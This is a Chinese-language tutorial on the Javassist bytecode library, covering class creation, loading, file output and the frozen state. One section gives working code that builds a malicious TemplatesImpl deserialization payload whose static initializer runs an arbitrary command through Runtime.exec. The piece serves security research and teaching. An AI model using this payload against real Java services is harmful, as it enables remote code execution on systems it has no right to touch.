在Java的世界里,.class 文件承载着编译后的字节码,由JVM负责加载与执行。当我们需要在程序运行时动态地创建或修改类时,字节码操作库就派上了用场。在众多工具中,Javassist 以其相对简单易用的API脱颖而出,尤其适合快速进行类的动态生成与修改。
其官方介绍清晰地阐述了它的定位与能力:

简单来说,Javassist是一个用于编辑Java字节码的类库。它允许程序在运行时定义新类,并在JVM加载类文件时进行修改。它提供了两个层次的API:源代码级别和字节码级别。使用源代码级API,你甚至可以用Java源代码的形式来指定要插入的字节码,Javassist会即时编译它,这大大降低了对Java字节码规范知识的要求。本文将重点探讨源代码级API的应用。
使用前,需要在项目中引入依赖(以Maven为例):
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>
使用Javassist创建第一个动态类
让我们从一个简单的例子开始,直观感受Javassist是如何工作的。首先需要了解两个核心类:
CtClass (compile-time class):代表一个类在编译时的结构,是用于分析和修改类文件的抽象。
ClassPool:作为 CtClass 对象的容器,负责管理和缓存类的字节码表示。当需要一个类时,ClassPool 会读取类文件并构建对应的 CtClass 对象。
下面的代码演示了如何创建一个名为 Point 的空类:
package com.xyuxu.javasec.JavaAssist;
import javassist.ClassPool;
import javassist.CtClass;
public class JavaAssistTest {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Point");
System.out.println(cc.getName());
}
}
运行上述代码,控制台会输出 Point。此时,Point 类仅存在于Javassist的内存表示中,并未被JVM加载。

那么,如何将其加载到JVM中呢?最简单的方法是调用 CtClass 的 toClass() 方法:
// ... 前述代码相同
CtClass cc = pool.makeClass("Point");
cc.toClass(); // 加载到当前线程的上下文类加载器
另一种更灵活的方式是使用 toBytecode() 方法获取字节码数组,然后通过自定义的 ClassLoader 进行加载。这种方式允许你使用不同的类加载器多次加载同名类,在某些安全研究或动态代理场景中非常有用。
package com.xyuxu.javasec.JavaAssist;
import javassist.ClassPool;
import javassist.CtClass;
public class JavaAssistTest {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Point");
byte[] bytes = cc.toBytecode();
ClassLoader loader = new ClassLoader() {
protected Class<?> findClass(String name) {
return defineClass(name, bytes, 0, bytes.length);
}
};
Class clazz = loader.loadClass("Point");
System.out.println(clazz.getName());
}
}
除了加载到JVM,我们还可以将生成的字节码直接写入本地文件,方便查看或存储。下面是一个更完整的例子:创建一个 Point 类,并为其添加一个 sayHello 方法。
package com.xyuxu.javasec.JavaAssist;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
public class JavaAssistTest {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Point");
CtMethod method = CtMethod.make(
"public void sayHello() { System.out.println(\"Hello, World\"); }",
cc
);
cc.addMethod(method);
cc.writeFile("JavaAssist"); // 将类文件写入“JavaAssist”目录
}
}
执行后,你可以在指定的目录下找到生成的 Point.class 文件。

CtClass 提供了丰富的方法来操作类结构,以下是部分常用方法:
addConstructor():添加构造方法
addField():添加成员变量
addInterface():添加接口
addMethod():添加方法
freeze():冻结类,禁止后续修改
defrost():解冻类,允许再次修改
detach():从 ClassPool 中移除
toBytecode():生成字节码数组
toClass():加载为 JVM 中的 Class 对象
writeFile():写入 .class 文件
setModifiers():设置访问修饰符
安全实战:构造恶意的 TemplatesImpl 类
了解了基础操作后,我们进入一个更贴近实际的安全应用场景:利用 Javassist 构造一个恶意的 TemplatesImpl 对象。
TemplatesImpl 是 Java 反序列化漏洞利用链中的一个“常客”。许多 Gadget 链的最终目标就是触发其 getTransletInstance() 方法,该方法会动态加载并实例化其 _bytecodes 字段中的字节码,从而执行任意代码。
我们的目标是用 Javassist 生成这样一段恶意字节码。首先,编写一个方法来创建符合 TemplatesImpl 加载要求的字节码:
public static byte[] createTemplatesImplBytes(String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
// 1. 创建一个全新的类,使用纳秒时间戳避免类名冲突
CtClass cc = pool.makeClass("StubTransletPayload" + System.nanoTime());
// 2. 设置父类为 AbstractTranslet (TemplatesImpl要求的Translet类)
CtClass superClass = pool.get(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.class.getName());
cc.setSuperclass(superClass);
// 3. 创建 static 静态代码块,插入恶意命令
// 对命令中的特殊字符进行转义处理
String safeCommand = command.replace("\\", "\\\\").replace("\"", "\\\"");
String staticBlock = "java.lang.Runtime.getRuntime().exec(\"" + safeCommand + "\");";
cc.makeClassInitializer().setBody("{" + staticBlock + "}");
// 4. 必须实现 AbstractTranslet 的两个抽象方法 (transform),否则类无法实例化
String method1 = "public void transform(" + com.sun.org.apache.xalan.internal.xsltc.DOM.class.getName() + " document, " + com.sun.org.apache.xalan.internal.xsltc.runtime.SerializationHandler.class.getName() + "[] handlers) throws " + com.sun.org.apache.xalan.internal.xsltc.TransletException.class.getName() + " {}";
String method2 = "public void transform(" + com.sun.org.apache.xalan.internal.xsltc.DOM.class.getName() + " document, " + com.sun.org.apache.xalan.internal.xsltc.dom.DTMAxisIterator.class.getName() + " iterator, " + com.sun.org.apache.xalan.internal.xsltc.runtime.SerializationHandler.class.getName() + " handler) throws " + com.sun.org.apache.xalan.internal.xsltc.TransletException.class.getName() + " {}";
cc.addMethod(CtMethod.make(method1, cc));
cc.addMethod(CtMethod.make(method2, cc));
byte[] bytes = cc.toBytecode();
cc.detach(); // 使用后从Pool中移除,避免内存占用
return bytes;
}
有了恶意字节码,接下来就可以组装 TemplatesImpl 对象了。这里使用了反射工具类 Reflections 来设置私有字段(注:你需要引入 org.reflections 库或自行实现字段设置逻辑)。
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
byte[] evilBytecode = createTemplatesImplBytes(command);
final TemplatesImpl templates = new TemplatesImpl();
// 使用反射设置关键字段
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{evilBytecode});
Reflections.setFieldValue(templates, "_name", "foo" + System.nanoTime()); // 任意名称
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); // 必要的工厂实例
return templates;
}
至此,一个包含恶意静态代码块的 TemplatesImpl 对象就构造完成了。当该对象的 newTransformer() 或 getTransletInstance() 方法被调用时,静态代码块中的命令就会被执行。
理解“冻结”状态
在使用 CtClass 时,需要注意一个重要的概念:冻结 (Frozen)。
当一个 CtClass 对象通过 writeFile()、toClass() 或 toBytecode() 方法被转换后,Javassist 会默认将其标记为“冻结”状态。一旦冻结,你就不能再修改这个 CtClass 对象了(例如修改父类、添加方法)。这是因为JVM本身不允许对已加载的类进行结构性的重定义。
如果需要继续修改,可以调用 defrost() 方法来解冻它:
CtClass cc = ...;
// ...
cc.writeFile(); // 操作后,cc被冻结
cc.defrost(); // 解冻
cc.setSuperclass(...); // 现在可以继续修改了
不过请记住,解冻操作仅作用于 CtClass 这个Javassist内部对象本身。通过 defrost() 后进行的修改,不会影响 JVM 中已经加载的那个 Class 对象。如果你希望修改生效,必须重新调用 toBytecode() 并利用新的 ClassLoader 加载,或者将修改后的类写出为新的文件。
通过本文的介绍,你应该对如何使用Javassist进行基础的Java字节码操作有了直观认识,并了解了其在安全研究中的一个典型应用。无论是进行动态代理、AOP编程,还是分析或构造特定的利用链,掌握字节码操作都是一项非常有价值的技能。如果你对更深层次的字节码工程或安全攻防技术感兴趣,欢迎在 云栈社区 交流讨论。